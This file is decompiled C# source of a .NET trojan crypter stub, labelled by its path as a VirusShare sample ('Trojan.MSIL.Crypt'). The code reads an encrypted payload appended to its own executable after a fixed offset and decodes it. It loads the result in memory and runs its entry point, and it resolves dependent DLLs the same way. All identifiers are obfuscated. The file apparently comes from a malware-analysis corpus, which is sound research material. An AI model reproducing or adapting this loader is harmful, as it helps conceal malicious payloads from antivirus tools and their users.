// Decompiled with JetBrains decompiler
// Type: .	
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: AD88AA27-A10E-48A5-83FB-D8F29C49A3B3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hnoh-10455cb5cfd07978bd68fafedebf0c7ecc4003a27c482d11dfa7e861dd4823b9.exe

using \u0001\u0001;
using System;
using System.IO;
using System.Reflection;
using System.Windows.Forms;

namespace \u0001\u0001
{
  internal class \u0002\u0009
  {
    internal static int \u0002\u000A = 192512;

    [STAThread]
    private static void \u0002\u000E(string[] args)
    {
      try
      {
        AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002\u0009.myResolveEventHandler);
      }
      catch (Exception ex)
      {
      }
      object[] parameters = new object[1]{ (object) args };
      MemoryStream inStream = new MemoryStream();
      Stream stream = (Stream) new FileStream(Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf('\\') + 1), FileMode.Open, FileAccess.Read);
      stream.Position = (long) \u0002\u0009.\u0002\u000A;
      byte[] buffer = new byte[stream.Length - (long) \u0002\u0009.\u0002\u000A];
      stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
      inStream.Write(buffer, 0, buffer.Length);
      inStream.Seek(0L, SeekOrigin.Begin);
      Assembly assembly = Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream));
      try
      {
        assembly.EntryPoint.Invoke((object) null, parameters);
      }
      catch
      {
        assembly.EntryPoint.Invoke((object) null, (object[]) null);
      }
    }

    private static Assembly myResolveEventHandler(object sender, ResolveEventArgs args)
    {
      string path = "_" + args.Name.ToString().Trim().Split(',')[0].ToString().Trim() + ".dll";
      MemoryStream inStream = new MemoryStream();
      Stream stream = (Stream) new FileStream(path, FileMode.Open, FileAccess.Read);
      byte[] buffer = new byte[stream.Length];
      stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
      inStream.Write(buffer, 0, buffer.Length);
      inStream.Seek(0L, SeekOrigin.Begin);
      return Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream));
    }
  }
}
